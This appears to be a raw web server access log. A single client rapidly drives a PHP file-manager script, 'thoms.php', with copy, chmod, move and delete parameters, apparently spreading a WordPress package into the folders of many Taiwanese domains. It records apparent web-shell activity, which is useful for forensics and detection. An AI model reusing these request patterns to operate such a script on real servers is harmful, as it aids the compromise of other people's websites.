45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13431 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13272 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17879 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13621 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19387 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13765 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19388 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fclient-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13465 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13600 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known HTTP/1.1" 200 12589 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fsync-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28639 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?chmod=wordpress-6.6-20260912023539&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13414 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /wordpress-6.6-20260912023539/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16551 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11978 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6-20260912023539&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 18954 "http://163.245.207.76:443/thoms.php?del=wordpress-6.6-20260912023539&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:45 -0400] "GET /wordpress-6.6-20260912023539/wp-admin/setup-config.php HTTP/1.1" 200 1360 "https://163.245.207.76/wordpress-6.6-20260912023539/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 12049 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 13765 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 12582 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 28771 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 13416 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 13292 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17394 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12591 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12047 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:46 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13776 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17423 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17424 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
